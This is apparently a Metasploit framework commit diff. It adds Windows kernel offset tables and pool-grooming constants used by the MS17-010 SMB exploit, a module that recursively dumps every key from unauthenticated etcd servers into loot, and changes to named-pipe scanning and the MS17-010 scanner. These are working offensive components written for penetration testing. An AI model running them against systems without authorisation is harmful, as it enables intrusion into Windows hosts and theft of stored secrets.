'FAKE_SECCTX'=> [0x24022a, 1, 0, 0, 0, 0, 2, 0, 1].pack("VVVVVVVVC"), # pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
|
'SECCTX_PCTXTHANDLE_OFFSET'=> 0xc, # PCtxtHandle is at offset 0x8 but only upperPart is needed
|
||||||
'SECCTX_SIZE'=> 0x24,
|
'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24,
|
||||||
}
|
'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c,
|
||||||
|
'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68,
|
||||||
|
}
|
||||||
|
|
||||||
# win 2003 (xp 64 bit is win 2003)
|
# win xp
|
||||||
WIN2K3_64_SESSION_INFO = {
|
WINXP_32_SESSION_INFO = {
|
||||||
'SESSION_ISNULL_OFFSET'=> 0xba,
|
'SESSION_ISNULL_OFFSET'=> 0x94,
|
||||||
'SESSION_SECCTX_OFFSET'=> 0xa0, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
|
'SESSION_SECCTX_OFFSET'=> 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
|
||||||
'SECCTX_PCTXTHANDLE_OFFSET'=> 0x10, # PCtxtHandle is at offset 0x8 but only upperPart is needed
|
'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24,
|
||||||
'PCTXTHANDLE_TOKEN_OFFSET'=> 0x40,
|
'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c,
|
||||||
'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c,
|
'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68,
|
||||||
'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68,
|
'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1'=> 0x40,
|
||||||
}
|
'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1'=> 0x5c,
|
||||||
|
}
|
||||||
|
|
||||||
WIN2K3_32_SESSION_INFO = {
|
WIN2K_32_SESSION_INFO = {
|
||||||
'SESSION_ISNULL_OFFSET'=> 0x96,
|
'SESSION_ISNULL_OFFSET'=> 0x94,
|
||||||
'SESSION_SECCTX_OFFSET'=> 0x80, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
|
'SESSION_SECCTX_OFFSET'=> 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
|
||||||
'SECCTX_PCTXTHANDLE_OFFSET'=> 0xc, # PCtxtHandle is at offset 0x8 but only upperPart is needed
|
'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24,
|
||||||
'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24,
|
'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x3c,
|
||||||
'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c,
|
'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x58,
|
||||||
'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68,
|
}
|
||||||
}
|
|
||||||
|
|
||||||
# win xp
|
# for windows 2008+
|
||||||
WINXP_32_SESSION_INFO = {
|
WIN7_32_TRANS_INFO = {
|
||||||
'SESSION_ISNULL_OFFSET'=> 0x94,
|
'TRANS_SIZE' => 0xa0, # struct size
|
||||||
'SESSION_SECCTX_OFFSET'=> 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
|
'TRANS_FLINK_OFFSET' => 0x18,
|
||||||
'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24,
|
'TRANS_INPARAM_OFFSET' => 0x40,
|
||||||
'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c,
|
'TRANS_OUTPARAM_OFFSET' => 0x44,
|
||||||
'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68,
|
'TRANS_INDATA_OFFSET' => 0x48,
|
||||||
'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1'=> 0x40,
|
'TRANS_OUTDATA_OFFSET' => 0x4c,
|
||||||
'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1'=> 0x5c,
|
'TRANS_PARAMCNT_OFFSET' => 0x58,
|
||||||
}
|
'TRANS_TOTALPARAMCNT_OFFSET' => 0x5c,
|
||||||
|
'TRANS_FUNCTION_OFFSET' => 0x72,
|
||||||
|
'TRANS_MID_OFFSET' => 0x80,
|
||||||
|
}
|
||||||
|
|
||||||
WIN2K_32_SESSION_INFO = {
|
WIN7_64_TRANS_INFO = {
|
||||||
'SESSION_ISNULL_OFFSET'=> 0x94,
|
'TRANS_SIZE' => 0xf8, # struct size
|
||||||
'SESSION_SECCTX_OFFSET'=> 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
|
'TRANS_FLINK_OFFSET' => 0x28,
|
||||||
'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24,
|
'TRANS_INPARAM_OFFSET' => 0x70,
|
||||||
'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x3c,
|
'TRANS_OUTPARAM_OFFSET' => 0x78,
|
||||||
'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x58,
|
'TRANS_INDATA_OFFSET' => 0x80,
|
||||||
}
|
'TRANS_OUTDATA_OFFSET' => 0x88,
|
||||||
|
'TRANS_PARAMCNT_OFFSET' => 0x98,
|
||||||
|
'TRANS_TOTALPARAMCNT_OFFSET' => 0x9c,
|
||||||
|
'TRANS_FUNCTION_OFFSET' => 0xb2,
|
||||||
|
'TRANS_MID_OFFSET' => 0xc0,
|
||||||
|
}
|
||||||
|
|
||||||
# for windows 2008+
|
WIN5_32_TRANS_INFO = {
|
||||||
WIN7_32_TRANS_INFO = {
|
'TRANS_SIZE' => 0x98, # struct size
|
||||||
'TRANS_SIZE' => 0xa0, # struct size
|
'TRANS_FLINK_OFFSET' => 0x18,
|
||||||
'TRANS_FLINK_OFFSET' => 0x18,
|
'TRANS_INPARAM_OFFSET' => 0x3c,
|
||||||
'TRANS_INPARAM_OFFSET' => 0x40,
|
'TRANS_OUTPARAM_OFFSET' => 0x40,
|
||||||
'TRANS_OUTPARAM_OFFSET' => 0x44,
|
'TRANS_INDATA_OFFSET' => 0x44,
|
||||||
'TRANS_INDATA_OFFSET' => 0x48,
|
'TRANS_OUTDATA_OFFSET' => 0x48,
|
||||||
'TRANS_OUTDATA_OFFSET' => 0x4c,
|
'TRANS_PARAMCNT_OFFSET' => 0x54,
|
||||||
'TRANS_PARAMCNT_OFFSET' => 0x58,
|
'TRANS_TOTALPARAMCNT_OFFSET' => 0x58,
|
||||||
'TRANS_TOTALPARAMCNT_OFFSET' => 0x5c,
|
'TRANS_FUNCTION_OFFSET' => 0x6e,
|
||||||
'TRANS_FUNCTION_OFFSET' => 0x72,
|
'TRANS_PID_OFFSET' => 0x78,
|
||||||
'TRANS_MID_OFFSET' => 0x80,
|
'TRANS_MID_OFFSET' => 0x7c,
|
||||||
}
|
}
|
||||||
|
|
||||||
WIN7_64_TRANS_INFO = {
|
WIN5_64_TRANS_INFO = {
|
||||||
'TRANS_SIZE' => 0xf8, # struct size
|
'TRANS_SIZE' => 0xe0, # struct size
|
||||||
'TRANS_FLINK_OFFSET' => 0x28,
|
'TRANS_FLINK_OFFSET' => 0x28,
|
||||||
'TRANS_INPARAM_OFFSET' => 0x70,
|
'TRANS_INPARAM_OFFSET' => 0x68,
|
||||||
'TRANS_OUTPARAM_OFFSET' => 0x78,
|
'TRANS_OUTPARAM_OFFSET' => 0x70,
|
||||||
'TRANS_INDATA_OFFSET' => 0x80,
|
'TRANS_INDATA_OFFSET' => 0x78,
|
||||||
'TRANS_OUTDATA_OFFSET' => 0x88,
|
'TRANS_OUTDATA_OFFSET' => 0x80,
|
||||||
'TRANS_PARAMCNT_OFFSET' => 0x98,
|
'TRANS_PARAMCNT_OFFSET' => 0x90,
|
||||||
'TRANS_TOTALPARAMCNT_OFFSET' => 0x9c,
|
'TRANS_TOTALPARAMCNT_OFFSET' => 0x94,
|
||||||
'TRANS_FUNCTION_OFFSET' => 0xb2,
|
'TRANS_FUNCTION_OFFSET' => 0xaa,
|
||||||
'TRANS_MID_OFFSET' => 0xc0,
|
'TRANS_PID_OFFSET' => 0xb4,
|
||||||
}
|
'TRANS_MID_OFFSET' => 0xb8,
|
||||||
|
}
|
||||||
|
|
||||||
WIN5_32_TRANS_INFO = {
|
X86_INFO = {
|
||||||
'TRANS_SIZE' => 0x98, # struct size
|
'ARCH' => 'x86',
|
||||||
'TRANS_FLINK_OFFSET' => 0x18,
|
'PTR_SIZE' => 4,
|
||||||
'TRANS_INPARAM_OFFSET' => 0x3c,
|
'PTR_FMT' => 'V',
|
||||||
'TRANS_OUTPARAM_OFFSET' => 0x40,
|
'FRAG_TAG_OFFSET' => 12,
|
||||||
'TRANS_INDATA_OFFSET' => 0x44,
|
'POOL_ALIGN' => 8,
|
||||||
'TRANS_OUTDATA_OFFSET' => 0x48,
|
'SRV_BUFHDR_SIZE' => 8,
|
||||||
'TRANS_PARAMCNT_OFFSET' => 0x54,
|
}
|
||||||
'TRANS_TOTALPARAMCNT_OFFSET' => 0x58,
|
|
||||||
'TRANS_FUNCTION_OFFSET' => 0x6e,
|
|
||||||
'TRANS_PID_OFFSET' => 0x78,
|
|
||||||
'TRANS_MID_OFFSET' => 0x7c,
|
|
||||||
}
|
|
||||||
|
|
||||||
WIN5_64_TRANS_INFO = {
|
X64_INFO = {
|
||||||
'TRANS_SIZE' => 0xe0, # struct size
|
'ARCH' => 'x64',
|
||||||
'TRANS_FLINK_OFFSET' => 0x28,
|
'PTR_SIZE' => 8,
|
||||||
'TRANS_INPARAM_OFFSET' => 0x68,
|
'PTR_FMT' => 'Q<',
|
||||||
'TRANS_OUTPARAM_OFFSET' => 0x70,
|
'FRAG_TAG_OFFSET' => 0x14,
|
||||||
'TRANS_INDATA_OFFSET' => 0x78,
|
'POOL_ALIGN' => 0x10,
|
||||||
'TRANS_OUTDATA_OFFSET' => 0x80,
|
'SRV_BUFHDR_SIZE' => 0x10,
|
||||||
'TRANS_PARAMCNT_OFFSET' => 0x90,
|
}
|
||||||
'TRANS_TOTALPARAMCNT_OFFSET' => 0x94,
|
|
||||||
'TRANS_FUNCTION_OFFSET' => 0xaa,
|
|
||||||
'TRANS_PID_OFFSET' => 0xb4,
|
|
||||||
'TRANS_MID_OFFSET' => 0xb8,
|
|
||||||
}
|
|
||||||
|
|
||||||
X86_INFO = {
|
OS_ARCH_INFO = {
|
||||||
'ARCH' => 'x86',
|
# for Windows Vista, 2008, 7 and 2008 R2
|
||||||
'PTR_SIZE' => 4,
|
'WIN7' => {
|
||||||
'PTR_FMT' => 'V',
|
'x86' => {
|
||||||
'FRAG_TAG_OFFSET' => 12,
|
'CPUARCH' => X86_INFO,
|
||||||
'POOL_ALIGN' => 8,
|
'OFFSETS' => WIN7_32_TRANS_INFO,
|
||||||
'SRV_BUFHDR_SIZE' => 8,
|
'SESSION' => WIN7_32_SESSION_INFO
|
||||||
}
|
|
||||||
|
|
||||||
X64_INFO = {
|
|
||||||
'ARCH' => 'x64',
|
|
||||||
'PTR_SIZE' => 8,
|
|
||||||
'PTR_FMT' => 'Q<',
|
|
||||||
'FRAG_TAG_OFFSET' => 0x14,
|
|
||||||
'POOL_ALIGN' => 0x10,
|
|
||||||
'SRV_BUFHDR_SIZE' => 0x10,
|
|
||||||
}
|
|
||||||
|
|
||||||
OS_ARCH_INFO = {
|
|
||||||
# for Windows Vista, 2008, 7 and 2008 R2
|
|
||||||
'WIN7' => {
|
|
||||||
'x86' => {
|
|
||||||
'CPUARCH' => X86_INFO,
|
|
||||||
'OFFSETS' => WIN7_32_TRANS_INFO,
|
|
||||||
'SESSION' => WIN7_32_SESSION_INFO
|
|
||||||
},
|
|
||||||
'x64' => {
|
|
||||||
'CPUARCH' => X64_INFO,
|
|
||||||
'OFFSETS' => WIN7_64_TRANS_INFO,
|
|
||||||
'SESSION' => WIN7_64_SESSION_INFO
|
|
||||||
},
|
|
||||||
},
|
},
|
||||||
# for Windows 8 and later
|
'x64' => {
|
||||||
'WIN8' => {
|
'CPUARCH' => X64_INFO,
|
||||||
'x86' => {
|
'OFFSETS' => WIN7_64_TRANS_INFO,
|
||||||
'CPUARCH' => X86_INFO,
|
'SESSION' => WIN7_64_SESSION_INFO
|
||||||
'OFFSETS' => WIN7_32_TRANS_INFO,
|
|
||||||
'SESSION' => WIN8_32_SESSION_INFO
|
|
||||||
},
|
|
||||||
'x64' => {
|
|
||||||
'CPUARCH' => X64_INFO,
|
|
||||||
'OFFSETS' => WIN7_64_TRANS_INFO,
|
|
||||||
'SESSION' => WIN8_64_SESSION_INFO
|
|
||||||
},
|
|
||||||
},
|
},
|
||||||
'WINXP' => {
|
},
|
||||||
'x86' => {
|
# for Windows 8 and later
|
||||||
'CPUARCH' => X86_INFO,
|
'WIN8' => {
|
||||||
'OFFSETS' => WIN5_32_TRANS_INFO,
|
'x86' => {
|
||||||
'SESSION' => WINXP_32_SESSION_INFO
|
'CPUARCH' => X86_INFO,
|
||||||
},
|
'OFFSETS' => WIN7_32_TRANS_INFO,
|
||||||
'x64' => {
|
'SESSION' => WIN8_32_SESSION_INFO
|
||||||
'CPUARCH' => X64_INFO,
|
|
||||||
'OFFSETS' => WIN5_64_TRANS_INFO,
|
|
||||||
'SESSION' => WIN2K3_64_SESSION_INFO
|
|
||||||
},
|
|
||||||
},
|
},
|
||||||
'WIN2K3' => {
|
'x64' => {
|
||||||
'x86' => {
|
'CPUARCH' => X64_INFO,
|
||||||
'CPUARCH' => X86_INFO,
|
'OFFSETS' => WIN7_64_TRANS_INFO,
|
||||||
'OFFSETS' => WIN5_32_TRANS_INFO,
|
'SESSION' => WIN8_64_SESSION_INFO
|
||||||
'SESSION' => WIN2K3_32_SESSION_INFO
|
|
||||||
},
|
|
||||||
'x64' => {
|
|
||||||
'CPUARCH' => X64_INFO,
|
|
||||||
'OFFSETS' => WIN5_64_TRANS_INFO,
|
|
||||||
'SESSION' => WIN2K3_64_SESSION_INFO
|
|
||||||
},
|
|
||||||
},
|
},
|
||||||
'WIN2K' => {
|
},
|
||||||
'x86' => {
|
'WINXP' => {
|
||||||
'CPUARCH' => X86_INFO,
|
'x86' => {
|
||||||
'OFFSETS' => WIN5_32_TRANS_INFO,
|
'CPUARCH' => X86_INFO,
|
||||||
'SESSION' => WIN2K_32_SESSION_INFO
|
'OFFSETS' => WIN5_32_TRANS_INFO,
|
||||||
},
|
'SESSION' => WINXP_32_SESSION_INFO
|
||||||
},
|
},
|
||||||
}
|
'x64' => {
|
||||||
|
'CPUARCH' => X64_INFO,
|
||||||
|
'OFFSETS' => WIN5_64_TRANS_INFO,
|
||||||
|
'SESSION' => WIN2K3_64_SESSION_INFO
|
||||||
|
},
|
||||||
|
},
|
||||||
|
'WIN2K3' => {
|
||||||
|
'x86' => {
|
||||||
|
'CPUARCH' => X86_INFO,
|
||||||
|
'OFFSETS' => WIN5_32_TRANS_INFO,
|
||||||
|
'SESSION' => WIN2K3_32_SESSION_INFO
|
||||||
|
},
|
||||||
|
'x64' => {
|
||||||
|
'CPUARCH' => X64_INFO,
|
||||||
|
'OFFSETS' => WIN5_64_TRANS_INFO,
|
||||||
|
'SESSION' => WIN2K3_64_SESSION_INFO
|
||||||
|
},
|
||||||
|
},
|
||||||
|
'WIN2K' => {
|
||||||
|
'x86' => {
|
||||||
|
'CPUARCH' => X86_INFO,
|
||||||
|
'OFFSETS' => WIN5_32_TRANS_INFO,
|
||||||
|
'SESSION' => WIN2K_32_SESSION_INFO
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
def pick_ctx()
|
def pick_ctx()
|
||||||
pick = OS_ARCH_INFO[@ctx['os']][@ctx['arch']]
|
pick = OS_ARCH_INFO[@ctx['os']][@ctx['arch']]
|
||||||
@ctx = @ctx.merge(pick['CPUARCH'])
|
@ctx = @ctx.merge(pick['CPUARCH'])
|
||||||
@ctx = @ctx.merge(pick['OFFSETS'])
|
@ctx = @ctx.merge(pick['OFFSETS'])
|
||||||
@ctx = @ctx.merge(pick['SESSION'])
|
@ctx = @ctx.merge(pick['SESSION'])
|
||||||
@ctx
|
@ctx
|
||||||
end
|
end
|
||||||
|
|
||||||
|
GROOM_TRANS_SIZE = 0x5010 # includes transaction name, parameters and data, multiple of 16 to make FRAG_TAG_OFFSET valid
|
||||||
|
TRANS_NAME_LEN = 4
|
||||||
|
|
||||||
GROOM_TRANS_SIZE = 0x5010 # includes transaction name, parameters and data, multiple of 16 to make FRAG_TAG_OFFSET valid
|
X64_FRAG_TAG_OFFSET = 0x14
|
||||||
TRANS_NAME_LEN = 4
|
X64_POOL_ALIGN = 0x10
|
||||||
|
|
||||||
X64_FRAG_TAG_OFFSET = 0x14
|
X86_FRAG_TAG_OFFSET = 0x0c
|
||||||
X64_POOL_ALIGN = 0x10
|
X86_POOL_ALIGN = 0x08
|
||||||
|
|
||||||
X86_FRAG_TAG_OFFSET = 0x0c
|
|
||||||
X86_POOL_ALIGN = 0x08
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -50,18 +50,11 @@ module Msf
|
||||||
Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
|
Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.ssl_supported_options
|
|
||||||
@m ||= ['Auto', 'TLS'] + OpenSSL::SSL::SSLContext::METHODS \
|
|
||||||
.select{|m| !m.to_s.include?('client') && !m.to_s.include?('server')} \
|
|
||||||
.select{|m| OpenSSL::SSL::SSLContext.new(m) && true rescue false} \
|
|
||||||
.map{|m| m.to_s.sub(/v/, '').sub('_', '.')}
|
|
||||||
end
|
|
||||||
|
|
||||||
# @return [OptEnum]
|
# @return [OptEnum]
|
||||||
def self.SSLVersion
|
def self.SSLVersion
|
||||||
Msf::OptEnum.new('SSLVersion',
|
Msf::OptEnum.new('SSLVersion',
|
||||||
'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)',
|
'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)',
|
||||||
enums: self.ssl_supported_options
|
enums: Rex::Socket::SslTcp.supported_ssl_methods
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -38,6 +38,7 @@ module Msf
|
||||||
"search" => "Searches module names and descriptions",
|
"search" => "Searches module names and descriptions",
|
||||||
"show" => "Displays modules of a given type, or all modules",
|
"show" => "Displays modules of a given type, or all modules",
|
||||||
"use" => "Selects a module by name",
|
"use" => "Selects a module by name",
|
||||||
|
"reload_lib" => "Load a library file from specified path",
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -64,6 +65,44 @@ module Msf
|
||||||
framework.datastore['LocalEditor'] || Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR')
|
framework.datastore['LocalEditor'] || Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR')
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def reload_file(path, err_msg = 'Only library files can be loaded.')
|
||||||
|
if path.end_with?('.rb')
|
||||||
|
print_status("Reloading #{path}")
|
||||||
|
load path
|
||||||
|
else
|
||||||
|
print_error(err_msg)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_reload_lib_help
|
||||||
|
print_line 'Usage: reload_lib [lib/to/load.rb]'
|
||||||
|
print_line
|
||||||
|
print_line 'Load a library from specified path'
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Load a library file from given path
|
||||||
|
#
|
||||||
|
|
||||||
|
def cmd_reload_lib(*args)
|
||||||
|
if args.length > 0
|
||||||
|
path = args[0]
|
||||||
|
end
|
||||||
|
if args.include?('-h') || args.include?('--help')
|
||||||
|
cmd_reload_lib_help
|
||||||
|
return
|
||||||
|
end
|
||||||
|
if path.nil?
|
||||||
|
print_error('Nothing to load.')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
reload_file(path)
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_reload_lib_tabs(str, words)
|
||||||
|
tab_complete_filenames(str, words)
|
||||||
|
end
|
||||||
|
|
||||||
def cmd_edit_help
|
def cmd_edit_help
|
||||||
print_line "Usage: edit [file/to/edit.rb]"
|
print_line "Usage: edit [file/to/edit.rb]"
|
||||||
print_line
|
print_line
|
||||||
|
@ -104,12 +143,7 @@ module Msf
|
||||||
return if editing_module
|
return if editing_module
|
||||||
|
|
||||||
# XXX: This will try to reload *any* .rb and break on modules
|
# XXX: This will try to reload *any* .rb and break on modules
|
||||||
if path.end_with?('.rb')
|
reload_file(path)
|
||||||
print_status("Reloading #{path}")
|
|
||||||
load path
|
|
||||||
else
|
|
||||||
print_error('Only library files can be reloaded after editing.')
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -0,0 +1,75 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'Etcd Keys API Information Gathering',
|
||||||
|
'Description' => %q(
|
||||||
|
This module queries the etcd API to recursively retrieve all of the stored
|
||||||
|
key value pairs. Etcd by default does not utilize authentication.
|
||||||
|
),
|
||||||
|
'References' => [
|
||||||
|
['URL', 'https://elweb.co/the-security-footgun-in-etcd']
|
||||||
|
],
|
||||||
|
'Author' => [
|
||||||
|
'Giovanni Collazo <hello@gcollazo.com>', # discovery
|
||||||
|
'h00die' # msf module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(2379),
|
||||||
|
OptString.new('TARGETURI', [true, 'URI of the vulnerable service', '/'])
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(_target_host)
|
||||||
|
path = normalize_uri(target_uri.to_s, 'v2/keys/?recursive=true')
|
||||||
|
|
||||||
|
vprint_status("#{peer} - Collecting data through #{path}...")
|
||||||
|
res = send_request_raw(
|
||||||
|
'uri' => path,
|
||||||
|
'method' => 'GET'
|
||||||
|
)
|
||||||
|
|
||||||
|
# parse the json if we got a good request back
|
||||||
|
if res && res.code == 200
|
||||||
|
begin
|
||||||
|
response = res.get_json_document
|
||||||
|
store_loot('etcd.data', 'text/json', rhost, response, 'etcd.keys', 'etcd keys')
|
||||||
|
|
||||||
|
# since we know its vulnerable, go ahead and pull the version information
|
||||||
|
res = send_request_raw(
|
||||||
|
'uri' => normalize_uri(target_uri.to_s, 'version'),
|
||||||
|
'method' => 'GET'
|
||||||
|
)
|
||||||
|
banner = ''
|
||||||
|
if res && res.code == 200
|
||||||
|
banner = res.body
|
||||||
|
end
|
||||||
|
|
||||||
|
report_service(
|
||||||
|
host: rhost,
|
||||||
|
port: rport,
|
||||||
|
name: 'etcd',
|
||||||
|
proto: 'tcp',
|
||||||
|
info: banner
|
||||||
|
)
|
||||||
|
rescue JSON::ParserError => e
|
||||||
|
print_error("Failed to read JSON: #{e.class} - #{e.message}}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
print_good("#{peer}\nVersion: #{banner}\nData: #{JSON.pretty_generate(response)}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -8,6 +8,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
# Exploit mixins should be called first
|
# Exploit mixins should be called first
|
||||||
include Msf::Exploit::Remote::SMB::Client
|
include Msf::Exploit::Remote::SMB::Client
|
||||||
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
||||||
|
include Msf::Exploit::Remote::SMB::Client::PipeAuditor
|
||||||
|
|
||||||
# Scanner mixin should be near last
|
# Scanner mixin should be near last
|
||||||
include Msf::Auxiliary::Scanner
|
include Msf::Auxiliary::Scanner
|
||||||
|
@ -24,34 +25,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
deregister_options('RPORT')
|
deregister_options('RPORT')
|
||||||
end
|
end
|
||||||
|
|
||||||
@@target_pipes = [
|
|
||||||
'netlogon',
|
|
||||||
'lsarpc',
|
|
||||||
'samr',
|
|
||||||
'browser',
|
|
||||||
'atsvc',
|
|
||||||
'DAV RPC SERVICE',
|
|
||||||
'epmapper',
|
|
||||||
'eventlog',
|
|
||||||
'InitShutdown',
|
|
||||||
'keysvc',
|
|
||||||
'lsass',
|
|
||||||
'LSM_API_service',
|
|
||||||
'ntsvcs',
|
|
||||||
'plugplay',
|
|
||||||
'protected_storage',
|
|
||||||
'router',
|
|
||||||
'SapiServerPipeS-1-5-5-0-70123',
|
|
||||||
'scerpc',
|
|
||||||
'srvsvc',
|
|
||||||
'tapsrv',
|
|
||||||
'trkwks',
|
|
||||||
'W32TIME_ALT',
|
|
||||||
'wkssvc',
|
|
||||||
'PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER',
|
|
||||||
'db2remotecmd'
|
|
||||||
]
|
|
||||||
|
|
||||||
# Fingerprint a single host
|
# Fingerprint a single host
|
||||||
def run_host(ip)
|
def run_host(ip)
|
||||||
|
|
||||||
|
@ -65,14 +38,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
begin
|
begin
|
||||||
connect()
|
connect()
|
||||||
smb_login()
|
smb_login()
|
||||||
@@target_pipes.each do |pipe|
|
check_named_pipes.each do |pipe_name, _|
|
||||||
begin
|
pass.push(pipe_name)
|
||||||
fid = smb_create("\\#{pipe}")
|
|
||||||
#print_status("Opened pipe \\#{pipe}")
|
|
||||||
pass.push(pipe)
|
|
||||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
|
||||||
#print_error("Could not open \\#{pipe}: Error 0x%.8x" % e.error_code)
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
disconnect()
|
disconnect()
|
||||||
|
@ -85,14 +52,14 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
if(pass.length > 0)
|
if(pass.length > 0)
|
||||||
print_status("Pipes: #{pass.map{|c| "\\#{c}"}.join(", ")}")
|
print_good("Pipes: #{pass.map{|c| "\\#{c}"}.join(", ")}")
|
||||||
# Add Report
|
# Add Report
|
||||||
report_note(
|
report_note(
|
||||||
:host => ip,
|
:host => ip,
|
||||||
:proto => 'tcp',
|
:proto => 'tcp',
|
||||||
:sname => 'smb',
|
:sname => 'smb',
|
||||||
:port => rport,
|
:port => rport,
|
||||||
:type => 'Pipes Founded',
|
:type => 'Pipes Found',
|
||||||
:data => "Pipes: #{pass.map{|c| "\\#{c}"}.join(", ")}"
|
:data => "Pipes: #{pass.map{|c| "\\#{c}"}.join(", ")}"
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
|
@ -7,6 +7,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
include Msf::Exploit::Remote::DCERPC
|
include Msf::Exploit::Remote::DCERPC
|
||||||
include Msf::Exploit::Remote::SMB::Client
|
include Msf::Exploit::Remote::SMB::Client
|
||||||
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
||||||
|
include Msf::Exploit::Remote::SMB::Client::PipeAuditor
|
||||||
|
|
||||||
include Msf::Auxiliary::Scanner
|
include Msf::Auxiliary::Scanner
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
|
@ -51,8 +52,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptBool.new('CHECK_DOPU', [true, 'Check for DOUBLEPULSAR on vulnerable hosts', true]),
|
OptBool.new('CHECK_DOPU', [false, 'Check for DOUBLEPULSAR on vulnerable hosts', true]),
|
||||||
OptBool.new('CHECK_ARCH', [true, 'Check for architecture on vulnerable hosts', true])
|
OptBool.new('CHECK_ARCH', [false, 'Check for architecture on vulnerable hosts', true]),
|
||||||
|
OptBool.new('CHECK_PIPE', [false, 'Check for named pipe on vulnerable hosts', false])
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -113,6 +115,23 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
if datastore['CHECK_PIPE']
|
||||||
|
pipe_name, _ = check_named_pipes(return_first: true)
|
||||||
|
|
||||||
|
return unless pipe_name
|
||||||
|
|
||||||
|
print_good("Named pipe found: #{pipe_name}")
|
||||||
|
|
||||||
|
report_note(
|
||||||
|
host: ip,
|
||||||
|
port: rport,
|
||||||
|
proto: 'tcp',
|
||||||
|
sname: 'smb',
|
||||||
|
type: 'MS17-010 Named Pipe',
|
||||||
|
data: pipe_name
|
||||||
|
)
|
||||||
|
end
|
||||||
elsif status == "STATUS_ACCESS_DENIED" or status == "STATUS_INVALID_HANDLE"
|
elsif status == "STATUS_ACCESS_DENIED" or status == "STATUS_INVALID_HANDLE"
|
||||||
# STATUS_ACCESS_DENIED (Windows 10) and STATUS_INVALID_HANDLE (others)
|
# STATUS_ACCESS_DENIED (Windows 10) and STATUS_INVALID_HANDLE (others)
|
||||||
